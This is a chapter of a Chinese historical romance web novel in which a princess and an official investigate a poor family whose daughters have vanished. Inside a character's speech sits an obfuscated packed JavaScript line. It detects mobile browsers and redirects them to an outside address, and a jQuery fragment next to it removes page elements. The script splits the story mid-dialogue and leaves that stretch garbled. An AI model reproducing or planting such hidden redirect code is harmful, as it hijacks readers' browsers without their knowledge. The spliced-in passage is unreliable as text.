林酒看着跪在面前的瘦弱妇人,哭得鼻涕一把泪一把,将他衬成了十恶不赦之人。
眼见其他客房打开门朝这边瞧来,眼底俱是谴责之色,他压低声音对这妇人解释。
“屋里真的没有你要找的人。”
妇人听后也不说话,一个劲儿的跪着哭泣。
这么个瘦弱妇人,总不能一剑捅死。
林酒有些手足无措。
便在这时,屋门打开。
妇人心中一喜,立刻站起来想要冲进去找人,却是一抬头看清门口站着人后急急停住了脚步。
只见门口站着的是位年轻的公子,模样俊俏是俊俏,可是那周身的气势太强,目光落在身上时犹如被老虎盯着似的,让人心惊。
这般气势不是一般人能有的。
妇人立刻判断,眼前的男人身份不简单。
她当即流下眼泪,哭诉起来:“民妇无意惊扰大人,实在是不孝女行为恶劣,民女担心她酿成大错,一心想着快些抓住她,无意冲撞了大人,还望大人恕罪!”
沈砚的目光扫过这妇人。
瞧着四十多岁,五官普通,神态纯良,头发已经半白,简陋的衣裳透露出她的艰难。
看起来是个可怜人。
再看她的身后,站着一个身材瘦小的男人,五官一样很普通,衣着打扮一样很简陋,木讷的神态看起来十分老实。
应该是这妇人的丈夫。
在这个男人的身后,还有一个年轻些的男人,他的五官合并了这对夫妻的特点,能猜出是这对夫妻的儿子。
沈砚的目光回到妇人身上,沉声说道:“如此不孝女确实应该抓起来,你们手中可有她的画像,本官可帮你们抓人。”
听见沈砚自称本官,妇人猜测他身份不凡,再看沈砚冷淡的表情,便猜测女儿应当不在此人房中。
既然有人愿意帮忙,她当然能省一些力气。
妇人赶紧从怀里拿出一张画像,双手交给沈砚。
“这就是那不孝女的画像,还请大人帮忙寻找,一旦找到了,便直接送到师府!”
沈砚点头,转身进屋,关上了门。
妇人便也带着丈夫和儿子离开了,这一行人走出客栈便立刻变了一副嘴脸。
屋内,乔楹月从沈砚手中接过画像,打开后放在桌上抻平。
昏黄的烛火照在了画像上,她细细去瞧,终于看清了这女子的模样。
和那哭泣的妇人有五分相似,但眉眼间却没有夫人的刻薄,而是充满了惶恐和无助。
乔楹月低声对沈砚道:“我们也派人去找她。”
她想弄清楚事实是否像夫人所说。
沈砚知道她的心思,立刻派人将这画像临摹了几份,派人暗中寻找此女下落。
天亮之前乔楹月眯了一会儿,早起十分没精神,又去睡了个回笼觉,待到睡饱了起来,已经是下午了,是被饿醒的。
准备去雅间吃点东西,刚出门隔壁的门扇便打开了,沈砚走了出来。
他径直走到面前来,在她的脸上仔细打量了一下,低声问道:“公主睡好了?”
乔楹月懒洋洋的点头,他便笑:“公主可真能睡。”
乔楹月轻哼:“沈大人守着本宫就是为了嘲笑本宫吗?”
她前脚开门他后脚便来了,肯定是特意盯着她的动静。
沈砚低声道:“微臣是知道公主肚子肯定饿了,提前帮公主点了菜,只等公主醒来就能吃。”
乔楹月眼睛一亮,她确实饿的不行了。
来到雅间一看,饭菜已经上来了,香喷喷,勾人食欲。
乔楹月坐下来,端起碗就吃,吃相有些急,却并不难看。
沈砚明显不饿,撑着头看着她吃,见她吃得差不多了,便为她到了一杯温茶,徐徐开了口。
“微臣的人已经将那妇人一家查了个大概。”
乔楹月端着茶满满喝着,闻言轻轻点头,示意他继续说。
沈砚便继续道:“妇人叫汪三姑,她的丈夫叫师庆,师庆是师振江的远亲晚辈。
师庆的和汪三姑膝下有八个孩子,七个女儿,一个儿子。
儿子是老幺,逃跑的女儿是老七,名叫师小虞,现年十五岁。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605393|182916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些都算正常,不正常的是这上头的六个女儿,分别在这些年间不知去向。”
乔楹月放下茶杯,疑惑问道:“什么叫不知去向?”
如果是远嫁,或是意外死去,都会有个说法,不知去向便透着蹊跷。
沈砚严肃道:“微臣派出的人在师庆的家附近打探过,这些人对师庆这几个女儿的事儿也很好奇,却没人能说出个所以然来。”
看来师庆的几个女儿都有蹊跷。
乔楹月不禁有了猜测,脸色不禁也严肃起来。
“他们说师小虞伤害父母,偷盗师振江的钱财,师小虞是为了逃避罪责才躲起来。
有没有可能师小虞躲起来是为了保命?”
沈砚沉声:“公主的意思是,师庆那几个女儿都是这样被害的?”
乔楹月点头,脸上透着不解:“不知道这家人到底藏着什么秘密。”
沈砚想了想,忽然有了主意:“微臣的人提到过师庆的妹妹,嫁到了城郊的乡下,他的这个妹妹似乎知道些什么,只是防备心很重,不肯吐露分毫。
微臣的人打探目的太明显,只要花些心思降低此人的警惕心,定能打探到师家的秘密。”
乔楹月忽然想到一个法子,眸子亮了起来,“本宫有一个法子!”
沈砚挑眉:“公主说来听听。”
“不如本宫乔装成本地人,找个借口在师庆妹妹家中借住,慢慢打探,肯定能打探到些眉目。”
“用什么借口借住呢?”
“便说……便说本宫是从别的村里过来,去师振江家里做小妾,路过此地歇歇脚,她和师振江沾亲带故,肯定会因此对本宫生出几分亲近来。”
沈砚脸一黑,“公主的主意太馊。”
乔楹月无所谓道:“有用就行了,此事宜早不宜迟,本宫现在就派人去买些寻常人家穿的衣裳来,本宫要好好打扮。”
沈砚忽然开口:“给微臣也带一身,微臣和公主一起去。”
乔楹月讶然:“本宫是师振江即将过门的小妾,那你呢?”
“微臣可以是公主的哥哥。”